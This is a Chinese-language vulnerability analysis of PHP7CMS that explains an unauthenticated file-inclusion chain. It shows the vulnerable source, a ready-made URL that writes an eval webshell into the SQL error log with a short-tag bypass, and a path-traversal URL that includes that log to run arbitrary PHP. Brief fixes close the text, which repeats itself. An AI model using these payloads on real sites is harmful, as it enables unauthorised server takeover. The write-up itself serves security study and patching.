php7cms文件包含漏洞
字数 962 2025-08-10 08:29:01

PHP7CMS 文件包含漏洞分析与利用

漏洞概述

PHP7CMS 存在一个前台未授权文件包含漏洞,攻击者可以通过构造特定URL实现文件包含,结合SQL注入报错将恶意代码写入日志文件,最终通过包含日志文件获取Webshell。

漏洞利用流程

  1. 前台未授权文件包含:利用API接口中的模板函数实现文件包含
  2. SQL注入报错插入payload:通过构造恶意SQL查询将payload写入错误日志
  3. 包含日志文件获取Webshell:通过文件包含漏洞执行日志中的恶意代码

漏洞详细分析

文件包含漏洞点

漏洞位于 php7cms/Core/Controllers/Api/Api.phptemplate() 方法:

public function template() {
    ob_start();
    \Phpcmf\Service::V()->display(dr_safe_replace(\Phpcmf\Service::L('Input')->get('name')));
    $html = ob_get_contents();
    ob_clean();
    $this->_jsonp(1, $html);
}

该方法通过name参数接收用户输入,并传递给display函数。

文件包含调用链

  1. display 函数 (位于 php7cms/Fcms/Core/View.php:137):

    public function display($_name, $_dir = '') {
        extract($this->_options, EXTR_PREFIX_SAME, 'data');
        $this->_filename = $_name;
        !IS_DEV && $this->_options = null;
        $_view_file = $this->get_file_name($_name);
        $_view_name = str_replace([TPLPATH, FCPATH, APPSPATH], '', $_view_file);
        \Config\Services::timer()->start($_view_name);
        include $this->load_view_file($_view_file);  // 关键包含点
        \Config\Services::timer()->stop($_view_name);
        $this->_include_file = null;
    }
    
  2. get_file_name 函数 (路径遍历关键点):

    public function get_file_name($file, $dir = null, $include = FALSE) {
        // 省略部分代码...
        if (IS_ADMIN || $dir == 'admin' || $this->_is_admin) {
            // 多种文件路径检查
        } elseif (IS_MEMBER || $dir == 'member') {
            // 会员相关路径检查
        } else {
            if ($dir === '/' && is_file($this->_root.$file)) {
                return $this->_root.$file;
            } else if (@is_file($this->_dir.$file)) {
                return $this->_dir.$file;
            } else if (@is_file($this->_root.$file)) {
                return $this->_root.$file;
            }
            $error = $dir === '/' ? $this->_root.$file : $this->_dir.$file;
        }
        // 省略部分代码...
    }
    
  3. load_view_file 函数 (实际包含执行点):

    public function load_view_file($name) {
        $cache_file = $this->_cache.str_replace(array(WEBPATH, '/', '\\', DIRECTORY_SEPARATOR), array('', '_', '_', '_'), $name).(IS_MOBILE ? '.mobile.' : '').'.cache.php';
        if (!is_file($cache_file) || (is_file($cache_file) && is_file($name) && filemtime($cache_file) < filemtime($name))) {
            $content = $this->handle_view_file(file_get_contents($name));
            @file_put_contents($cache_file, $content, LOCK_EX) === FALSE && show_error('请将模板缓存目录(/cache/template/)权限设为777', 404, '无写入权限');
        }
        return $cache_file;
    }
    

漏洞利用步骤

第一步:通过SQL注入写入恶意代码到日志

构造恶意URL触发SQL错误,将payload写入错误日志:

http://localhost/index.php?s=news&c=search&keyword=%E5%9B%BA%E5%AE%9A&order=2%3C?=/*&sss=*/eval($_GET[1]);

这将生成错误日志文件,路径格式为:cache/error/log-年-月-日.php,例如:
cache/error/log-2018-10-20.php

日志文件内容示例:

<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>

ERROR - 2018-10-20 16:53:04 --> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?=/* LIMIT 0,10' at line 1<br>SELECT `dr_1_news`.`thumb`,`dr_1_news`.`url`,`dr_1_news`.`title`,`dr_1_news`.`description`,`dr_1_news`.`keywords`,`dr_1_news`.`updatetime`,`dr_1_news`.`hits`,`dr_1_news`.`comments` FROM `dr_1_news` WHERE (`dr_1_news`.`id` IN(SELECT `cid` FROM `dr_1_news_search_index` WHERE `id`="ce0f2ef8f63c9afa7453492781553547")) AND `dr_1_news`.`status` = 9 ORDER BY 2<?=/* LIMIT 0,10<br>http://localhost/index.php?s=news&c=search&keyword=%E5%9B%BA%E5%AE%9A&order=2%3C?=/*&sss=*/eval($_GET[1]);

注意:由于程序过滤<?php标签,这里使用短标签<?=结合注释符/* */来绕过。

第二步:包含日志文件执行代码

构造URL包含日志文件并执行任意代码:

http://10.3.0.22/index.php?s=api&c=api&m=template&name=../../../../cache/error/log-2020-09-30.php&1=phpinfo();

其中:

  • name参数使用路径遍历包含日志文件
  • 1参数作为$_GET[1]传递给eval函数,可执行任意PHP代码

防御建议

  1. 对用户输入的name参数进行严格过滤,禁止目录遍历字符
  2. 限制文件包含的范围,只允许包含特定目录下的模板文件
  3. 对错误日志中的PHP代码进行转义处理
  4. 更新到最新版本,官方可能已发布修复补丁

总结

该漏洞利用链结合了文件包含和SQL注入两种漏洞类型,通过精心构造的payload将恶意代码写入日志文件,再通过文件包含漏洞执行该代码。攻击者无需任何权限即可利用此漏洞获取服务器控制权,危害性较高。

PHP7CMS 文件包含漏洞分析与利用 漏洞概述 PHP7CMS 存在一个前台未授权文件包含漏洞,攻击者可以通过构造特定URL实现文件包含,结合SQL注入报错将恶意代码写入日志文件,最终通过包含日志文件获取Webshell。 漏洞利用流程 前台未授权文件包含 :利用API接口中的模板函数实现文件包含 SQL注入报错插入payload :通过构造恶意SQL查询将payload写入错误日志 包含日志文件获取Webshell :通过文件包含漏洞执行日志中的恶意代码 漏洞详细分析 文件包含漏洞点 漏洞位于 php7cms/Core/Controllers/Api/Api.php 的 template() 方法: 该方法通过 name 参数接收用户输入,并传递给 display 函数。 文件包含调用链 display 函数 (位于 php7cms/Fcms/Core/View.php:137 ): get_file_name 函数 (路径遍历关键点): load_view_file 函数 (实际包含执行点): 漏洞利用步骤 第一步:通过SQL注入写入恶意代码到日志 构造恶意URL触发SQL错误,将payload写入错误日志: 这将生成错误日志文件,路径格式为: cache/error/log-年-月-日.php ,例如: cache/error/log-2018-10-20.php 日志文件内容示例: 注意:由于程序过滤 <?php 标签,这里使用短标签 <?= 结合注释符 /* */ 来绕过。 第二步:包含日志文件执行代码 构造URL包含日志文件并执行任意代码: 其中: name 参数使用路径遍历包含日志文件 1 参数作为 $_GET[1] 传递给 eval 函数,可执行任意PHP代码 防御建议 对用户输入的 name 参数进行严格过滤,禁止目录遍历字符 限制文件包含的范围,只允许包含特定目录下的模板文件 对错误日志中的PHP代码进行转义处理 更新到最新版本,官方可能已发布修复补丁 总结 该漏洞利用链结合了文件包含和SQL注入两种漏洞类型,通过精心构造的payload将恶意代码写入日志文件,再通过文件包含漏洞执行该代码。攻击者无需任何权限即可利用此漏洞获取服务器控制权,危害性较高。